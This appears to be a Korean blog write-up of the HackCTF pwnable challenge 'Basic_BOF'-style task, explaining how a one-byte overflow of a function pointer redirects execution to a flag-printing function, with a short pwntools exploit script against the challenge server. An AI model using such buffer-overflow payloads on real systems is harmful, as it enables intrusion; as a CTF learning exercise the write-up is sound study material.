main 함수이다. gets로 입력받고 select_func()로 넘어간다.
select_func() 이다. 31 bytes 만큼 src에서 dest에 복사한다. 또한 마지막에 v3()를 return 한다.
여기서 dest와 v3 의 거리가 30 bytes 차이나고 처음에 v3 = two 로 초기화한다. 그리고 31 bytes 만큼 src에서 복사를 하여 dest에 저장하므로 여기서 v3의 마지막 1 byte가 overwrite 된다. 이를 이용하여 src의 31번째 byte가 다른 함수의 offset 이라면 마지막에 v3가 return 될 때 two 가 아니라 그 다른 함수가 실행될 것이다.
flag를 바로 출력시켜주는 함수인 것 같다.
one / two
각 함수들의 주소들이다. 문제의 초점인 offset을 위하여 주소값이 아주 낮게 설정되어 있는 것 같다. 이제 함수들의 주소도 구했으니 flag를 얻어보자.
exploit코드를 짜서 exploit 하자.
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3007)
payload = "\x90"*30
payload += "\xd8"
r.recvline()
r.sendline(payload)
r.interactive()
'Pwnable > HackCTF' 카테고리의 다른 글
RTL_World (0) | 2020.08.28 |
---|---|
BOF_PIE (0) | 2020.08.28 |
내 버퍼가 흘러넘친다!!! (0) | 2020.08.28 |
Basic_FSB (0) | 2020.08.28 |
Basic_BOF #2 (0) | 2020.08.28 |